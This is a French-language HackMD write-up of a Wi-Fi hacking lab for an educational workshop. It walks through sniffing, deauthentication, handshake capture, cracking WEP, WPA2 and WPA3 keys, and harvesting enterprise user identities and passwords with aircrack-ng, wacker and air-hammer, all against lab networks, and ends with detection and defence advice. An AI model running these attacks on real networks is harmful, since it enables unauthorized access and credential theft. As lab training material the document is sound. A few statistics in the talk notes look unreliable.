Rettbl
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Versions and GitHub Sync Note Insights Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       owned this note    owned this note      
    Published Linked with GitHub
    Subscribed
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    Subscribe
    # Lab WIFI - Rettbl --- [TOC] --- # Introduction > [EDU.Cyber](https://edu-cyber.fr/), a eu la volonté de monter un lab permettant de démontrer les différentes vulnérabilités liées au Wi-Fi. Ce document a pour but de synthétiser les démarches pour la mise en place du lab avec les notions Wi-Fi associées. > > Je m'appuie sur [l'OVA](https://drive.proton.me/urls/Q4WPB23W7R#Qk4nxMH8Q4oQ) du projet de [r4ulcl](https://github.com/r4ulcl/WiFiChallengeLab) : > > ![image](https://hackmd.io/_uploads/HJfA1-CHa.png) --- ## Définitions > * **<u>Wi-Fi :</u>** Le Wi-Fi, ou Wireless Fidelity, est une technologie de communication sans fil qui permet d'accéder à Internet et à d'autres réseaux informatiques. Le Wi-Fi utilise des ondes radio pour transmettre des données entre des appareils, tels que des ordinateurs, des smartphones et des tablettes. > * **<u>SSID :</u>** Service Set IDentifier, est le nom d'un réseau sans fil. > * **<u>PSK :</u>** Pre-Shared Key, est un type réseau Wi-Fi conçu pour les réseaux personnels. > * **<u>WEP :</u>** Le WEP, ou Wired Equivalent Privacy, est un protocole de sécurité utilisé pour protéger les réseaux Wi-Fi. Le WEP est un protocole de sécurité Wi-Fi obsolète et peu sûre. > * **<u>WPA :</u>** Wi-Fi Protected Access (WPA) est un protocole de sécurité utilisé pour protéger les réseaux Wi-Fi. Il a été développé par la Wi-Fi Alliance pour remplacer le protocole WEP, qui était considéré comme obsolète et peu sûr. > * **<u>Adresse MAC :</u>**, Media Access Control, est un identifiant physique stocké dans une carte réseau. > * **<u>Handshake :</u>** Est un échange de messages entre un point d'accès Wi-Fi et un appareil client pour établir une connexion sécurisée. ## Outils > Les outils qui seront utilisés pour ce lab, sont décris ci-dessous : > * `Airmon-ng` est un outil utilisé pour qu'une carte réseau sans fil écoute les paquets sans fil transmis dans la zone. >* `Besside-ng` est un outil utilisé pour trouver les points d'accès Wi-Fi. Elle permet de détecter des points d'accès Wi-Fi cachés et de récupérer leurs informations, telles que leur SSID, leur adresse MAC et leur type de sécurité. >* `Hostapd-mana` est un outil permettant de créer des faux points d'accès Wi-Fi. >* `Wifi_db` est un script python qui permet à partir de captures réseau d'extraire des informations utiles en une vue globale (mode SQL). >* `Air-Hammer` est un outil utilisé pour effectuer des attaques par force brute contre les réseaux Wi-Fi. --- ## Cas pratique > Avec ce lab, nous pourrons : > * Ecouter le trafic réseau > * Analyser les réseaux Wi-Fi associés > * Attaquer des réseaux wifi avec sécurité WEP (manuel/automatique) > * Attaquer des réseaux partage de connexion mobile (PSK) > * Attaquer des réseaux wifi sous WPA2 > * Attaquer des réseaux wifi sous WPA3 > * Récupérer des informations sur les personnes connectées + mot de passe ### Écouter le traffic réseau > Pour mettre en place une écoute du réseau wifi : > ```bash= > sudo airmon-ng start wlan0 > sudo airodump-ng wlan0mon -w scan --manufacturer --wps --band abg > ``` > ![image](https://hackmd.io/_uploads/HkJb4WRBT.png) > >Cette manipulation nous permet d'observer les différents points d'accès wifi. ### Attaque d'un réseau WEP > Lors de l'analyse du réseau, nous découvrons un réseau wifi avec une protection WEP : > ```bash= > user@WiFiChallengeLab:~$ sudo airodump-ng wlan0mon -w scan --manufacturer --wps --band abg > BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH WPS ESSI MANUFACTURER > F0:9F:C2:AA:19:29 -28 203 5999 332 1 54 WEP WEP wifi-old Ubiquiti Networks Inc. >``` > >Pour exploiter ce réseau voici 2 types de démarche. La première permet de le faire de façon automatique, la deuxième la fait manuellement : >* Nous tentons d'exploiter le point d'accès en précisant son adresse MAC en exploitant le canal sur lequel le point fonctionne depuis notre carte réseau wlan2 : >```bash= >sudo besside-ng -c 1 -b F0:9F:C2:AA:19:29 wlan2 -v >``` >![image](https://hackmd.io/_uploads/r13RRVJIa.png) > >Pour le faire manuellement : >1. On capture dans un premier temps les données sur le réseau avec `aircrack`. >```bash= >sudo airodump-ng -c 1 --bssid F0:9F:C2:AA:19:29 -w wifi-old wlan0mon >``` > >2. Nous allons ensuite générer des données pour forcer les clients à se désauthentifier. >```bash= >sudo aireplay-ng -1 3600 -q 10 -a F0:9F:C2:AA:19:29 wlan0mon >``` > >3. Nous générons ensuite du trafic en lançant une attaque par rejeu de demande ARP. >```bash= >sudo aireplay-ng --arpreplay -b F0:9F:C2:AA:19:29 -h BA:49:A9:53:A1:8C wlan0mon >``` > >4. Nous pouvons ensuite cracker le mot de passe avec `aicrack` : >```bash= >sudo aircrack-ng wifi-old-01.cap >``` > Ci dessous une image récapitulant les 4 étapes : > >![image](https://hackmd.io/_uploads/S1BwkrJIT.png) ### Attaque d'un réseau PSK >Lors de l'analyse du réseau, nous découvrons des réseauw wifi avec une protection PSK : >```bash= >sudo airodump-ng wlan0mon -w scan --manufacturer --wps --band abg > BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH WPS ESSI MANUFACTURER > 82:AF:13:1F:F4:E6 -28 5 0 0 6 54 CCMP PSK 0.0 WIFI-JUAN Unknown > CE:35:D5:5C:63:2E -28 5 0 0 6 54 WPA2 CCMP PSK 0.0 MiFibra-5-D6G3 Unknown > F0:9F:C2:71:22:12 -28 5 0 0 6 54 CCMP PSK 0.0 wifi-mobile Ubiquiti Networks Inc. > EE:C8:ED:95:FB:DA -28 5 0 0 9 54 TKIP PSK 0.0 vodafone7123 Unknown > F2:CC:56:36:E4:18 -28 10 0 0 3 54 CCMP PSK 0.0 MOVISTAR_JYG2 Unknown >``` >Nous nous intéresserons ici au réseau `wifi-mobile`. Nous pourrions aussi pu utiliser la commande `airodump-ng wlan0mon -w ~/wifi/scanc6 -c 6 --wps` qui liste directement les réseaux avec authentification PSK. >Nous lancerons ensuite `aircack` pour écouter le réseau et envoyer des requêtes de désauthentification : >```bash= >sudo airmon-ng check kill >sudo airmon-ng start wlan0 >sudo iwconfig wlan0mon channel 6 >sudo aireplay-ng -0 10 -a F0:9F:C2:71:22:12 wlan0mon >``` >![image](https://hackmd.io/_uploads/r1hFSr1Lp.png) > >Nous pouvons ensuite effectuer une attaque par mot de passe sur les paquets récupérés : >```bash= >sudo aircrack-ng scanc6-01.cap -w wifi-rockyou.txt >``` >![image](https://hackmd.io/_uploads/HkxSMue86.png) ### Attaque d'un réseau WPA2 > Lors de l'analyse du réseau, nous découvrons un réseau wifi avec une protection WPA2 : > ```bash= > user@WiFiChallengeLab:~$ sudo airodump-ng wlan0mon -w scan --manufacturer --wps --band abg > BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH >F0:9F:C2:71:22:15 -28 9 2 0 44 54e WPA2 CCMP MGT wifi-corp Ubiquiti Networks Inc. > F0:9F:C2:71:22:16 -28 9 0 0 44 54e WPA2 CCMP MGT wifi-regional Ubiquiti Networks Inc. > F0:9F:C2:7A:33:28 -28 9 0 0 44 54e WPA2 CCMP MGT wifi-regional-tablets Ubiquiti Networks Inc. > F0:9F:C2:71:22:1A -28 9 0 0 44 54e WPA2 CCMP MGT wifi-corp Ubiquiti Networks Inc. > F0:9F:C2:71:22:17 -28 9 245 13 44 54e WPA2 CCMP MGT wifi-global Ubiquiti Networks Inc. > BE:BA:E1:EB:80:21 -28 4 0 0 6 54 WPA2 CCMP PSK 0.0 MiFibra-5-D6G3 Unknown >``` >Nous allons tenter ici de cracker le mot de passe du réseau wifi `wifi-global`. Pour cela nous allons créer un faux point d'accès (AP) avec l'outil `hostapd-mana`. Cela nous permet de récupérer le *handshake* wifi lorsqu'un client essaye de se connecter. >Nous allons écouter le réseau `wifi-global` et repérer les clients associé de la manière suivante : >```bash= >user@WiFiChallengeLab:~/wifi/WPA22$ sudo airodump-ng -c 44 --bssid F0:9F:C2:71:22:17 -w scan2 wlan0mon >08:48:08 Created capture file "scan2-01.cap". > > CH 44 ][ Elapsed: 1 min ][ 2023-12-14 08:49 ][ WPA handshake: F0:9F:C2:71:22:17 > > BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID > > F0:9F:C2:71:22:17 -28 0 667 12286 0 44 54e WPA2 CCMP MGT wifi-global > > BSSID STATION PWR Rate Lost Frames Notes Probes > > F0:9F:C2:71:22:17 64:32:A8:BA:18:42 -29 24e-24e 0 5031 PMKID > F0:9F:C2:71:22:17 64:32:A8:BC:53:51 -29 48e- 6e 267 6563 PMKID >``` >Nous avons 2 clients qui sont connectés au réseau wifi actuellement. Nous allons cibler un des clients pour forcer un déconnexion et récupérer le *handshake* : >```bash= >user@WiFiChallengeLab:~/wifi/WPA22$ sudo aireplay-ng -0 10 -a F0:9F:C2:71:22:17 -c 64:32:A8:BA:18:42 wlan0mon >09:04:29 Waiting for beacon frame (BSSID: F0:9F:C2:71:22:17) on channel 44 >09:04:29 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs] >09:04:30 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs] >09:04:31 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs] >09:04:32 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs] >09:04:32 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs] >09:04:33 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs] >09:04:34 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs] >09:04:35 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs] >09:04:36 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs] >09:04:37 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs] >``` > >Nous pouvons maintenant tenter de casser la clé wifi avec `aircrack` : >```bash= >user@WiFiChallengeLab:~/wifi/WPA22$ sudo aircrack-ng -w ../rockyou-top100000.txt -b F0:9F:C2:71:22:17 scan2-01.cap >Reading packets, please wait... >Opening scan2-01.cap >Read 12349 packets. > >1 potential targets > Aircrack-ng 1.6 > KEY FOUND! [ chocolatine ] > > > Master Key : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E > B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD > > Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98 > CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40 > FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E > 2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71 > > EAPOL HMAC : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB >``` > > Bravo vous avez cracké un réseau en WPA2. ### Attaque d'un réseau WPA3 > Les réseaux WPA3 sont les derniers points d'accès aux normes en 2023. Il est toujours possible d'effectuer des attaques par mot de passes. Nous pouvons utiliser l'outil [wacker](https://github.com/blunderbuss-wctf/wacker). > Lors de notre écoute, nous observons un réseau en WPA3 : > ```bash= > user@WiFiChallengeLab:~$ sudo airodump-ng wlan0mon -w scan --manufacturer --wps --band abg > BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH > F0:9F:C2:11:0A:24 -28 22 0 0 11 54e TKIP SAE wifi-management Ubiquiti Networks Inc. > F0:9F:C2:1A:CA:25 -28 22 0 0 11 54e TKIP SAE wifi-IT Ubiquiti Networks Inc. >``` > > Avec l'outil nous pouvons effectuer une attaque par mot de passe sur le réseau `wifi-management` : >```bash= >root@WiFiChallengeLab:/home/user/tools/wacker# python3 wacker.py --wordlist /home/user/wifi/rockyou-top100000.txt --ssid wifi-management --bssid F0:9F:C2:11:0A:24 --interface wlan2 --freq 2462 >Starting wpa_supplicant... >Successfully initialized wpa_supplicant >Start time: 12 Dec 2023 15:38:53 > 1469 / 1000000 words (0.15%) : 79 words/sec : 0.008 hours lapsed : 3.49 hours to exhaust (12 Dec 2023 19:09:02) >Found the password: 'chocolate1' > >Stop time: 12 Dec 2023 15:39:24 >``` > >Nous pouvons également exploiter le réseau `wifi-IT` en forçant un client à se connecter à notre faux point d'accès en WPA2. Ce qui nous permet de récuperer le *handshake* et ensuite nous pourrons le casser. ## Récupérer des informations sur les personnes connectés > Dans les réseaux wifi professionnels, les utilisateurs se connecte avec des comptes uniques associés à leurs personnes. Nous allons tenter de récupérer des informations sur les personnes connectés : > ```bash= > airodump-ng wlan0mon -w scanc44 -c 44 --wps > wireshark scanc44-01.cap > ``` > ![image](https://hackmd.io/_uploads/r1aRrQDI6.png) > > Nous donc pouvons récupérer les comptes qui se connectent au point d'accès. Nous allons ensuite avec l'outil `wifi_db` créer une base de données SQLite pour visualiser les données récupérer : > ```bash= > python3 wifi_db.py -d wifichallenge.SQLITE /home/user/wifi/identity/scanc44-02.* > sqlitebrowser wifichallenge.SQLITE > ``` > >![image](https://hackmd.io/_uploads/Hkn6UXDI6.png) > Nous avons désormais les différents clients qui se sont connectés à notre point d'accès. ### Récupérer le mot de passe d'une personne connecté >Nous allons maintenant essayer de trouver le mot de passe d'un des comptes avec l'outil `air-hammer` : >```bash= >echo 'CONTOSO\test' > test.user > sudo ./air-hammer.py -i wlan3 -e wifi-corp -p /home/user/wifi/rockyou-top100000.txt -u test.user >``` >![image](https://hackmd.io/_uploads/SycPiQDLa.png) --- ## Protection/Visualisation > Avec l'outil WIDS (Wireless IDS) - Nzyme. Nous pouvons visualiser les différentes attaques via cet outil : > > ![](https://r4ulcl.com/posts/walkthrough-wifichallenge-lab-2.0/WIDS.png#center) > > Cet outil peut également servir de protection dans un réseau wifi. ## Présentation > Une présentation de ce workshop se passera le 16 janvier 2024 à distance. ### 1. Introduction > Bonjour à tous ! Je suis Mathis, passionné de cybersécurité et actuellement en alternance dans ce domaine fascinant. > Tout d'abord je tiens à préciser que c'est la première fois que je fais ce type d'évenement alors n'hésitez pas à me reprendre ou autres il n'y a pas de soucis. > > Donc le Wi-Fi est une technologie de communication sans fil qui permet aux appareils de se connecter à Internet ou à un réseau local. Elle est très populaire, car elle est facile à utiliser et offre une connexion rapide et fiable. C'est une technologie qui est devenue essentielle dans notre vie quotidienne. > > Le Wi-Fi Alliance créé en 1999 sous le nom de Wireless Ethernet Comptability Alliance. Il existe 2 type de fréquence (2.4 GHz et 5 GHz), ces deux fréquences sont complémentaires et permettent un fonctionnement optimal. >Les réseaux WiFi, sont comme des voies sur une autoroute. Leur arrangement vise à éviter les embouteillages et les interférences, assurant ainsi une circulation fluide des données. > >Il existe de nombreux standards et normes wifi qui montre que ce dernier ne cesse d'évoluer à travers les années. ### 2. Définitions > Le WEP est fortement déconseiller par l'ANSSI (agence nationale de cybersécurité) dans sont livret "Sécuriser les accès Wi-Fi". > > Le beacon ou beacon frame, est un message envoyé par le point d'accès Wifi. Dans ce message nous retrouvons toutes les informations à propos de la connexion wifi. Dont le chiffrement. ### 3. Démonstrations > **Les vulnérabilités des protocoles de sécurité :** les protocoles de sécurité utilisés pour protéger les réseaux Wi-Fi sont parfois vulnérables à des attaques. Par exemple, le protocole WPA2, qui est utilisé par la plupart des réseaux Wi-Fi modernes, a été compromis par la vulnérabilité KRACK en 2017. > **Les vulnérabilités des appareils :** les appareils Wi-Fi peuvent également être vulnérables à des attaques. Par exemple, les routeurs Wi-Fi sont souvent mal configurés, ce qui peut les rendre vulnérables à des attaques. > Ces attaques peuvent amener à des vols de données, la prise de contrôle de l'équipement,... > > Le principe est d'envoyer des trames de désauthentification à un client connecté sur un BSSID. Cela va forcer le client à se reconnecter à nous permettre de récupérer les beacons. > Rogue AP, est un faux point d'accès Wi-Fi, exemple Mac Do gratuit. Ce dernier a pour but de tromper les utilisateurs pour qu'il se connecte dessus et récupérer des informations. ### 4. Les protections > Durant les attaques Wi-Fi, l'outil Nzyme était installe en arrière plan. Ce dernier de visualiser les différentes attaques sur le Wifi et de prendre des mesures de protection. ### 5. Les recommendations > Les autres mesures de protections sont : > * Mettez à jour les logiciels et les firmwares de vos appareils Wi-Fi : les mises à jour de sécurité corrigent souvent les vulnérabilités connues. >* Utilisez un mot de passe fort pour votre réseau Wi-Fi : un mot de passe fort rend plus difficile pour les cybercriminels de s'y connecter. > * Activez le chihffrement sur votre réseau Wi-Fi : le chiffrement protège le trafic Wi-Fi de l'interception. ### 6. Conclusion > Pour finir sur quelques chiffres : > * Une étude de l'ANSSI a montré que 70 % des réseaux Wi-Fi publics sont vulnérables aux attaques. > * La moitié des réseaux Wi-Fi dans le monde utilisent encore le protocole WEP, qui est considéré comme très peu sécurisé. > > En résumé, nous avons exploré les fondements du WiFi, identifié des vulnérabilités potentielles, et discuté de mesures de protection cruciales. N'oubliez pas, la sécurité commence par des actions simples mais impactantes. > ## Ressources >https://johnermac.github.io/notes/ecppt/wifi/ >https://www.aircrack-ng.org/doku.php?id=cracking_wpa >https://medium.com/@brannondorsey/crack-wpa-wpa2-wi-fi-routers-with-aircrack-ng-and-hashcat-a5a5d3ffea46 >https://github.com/nzymedefense/nzyme > https://r4ulcl.com/posts/walkthrough-wifichallenge-lab-2.0/ >

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully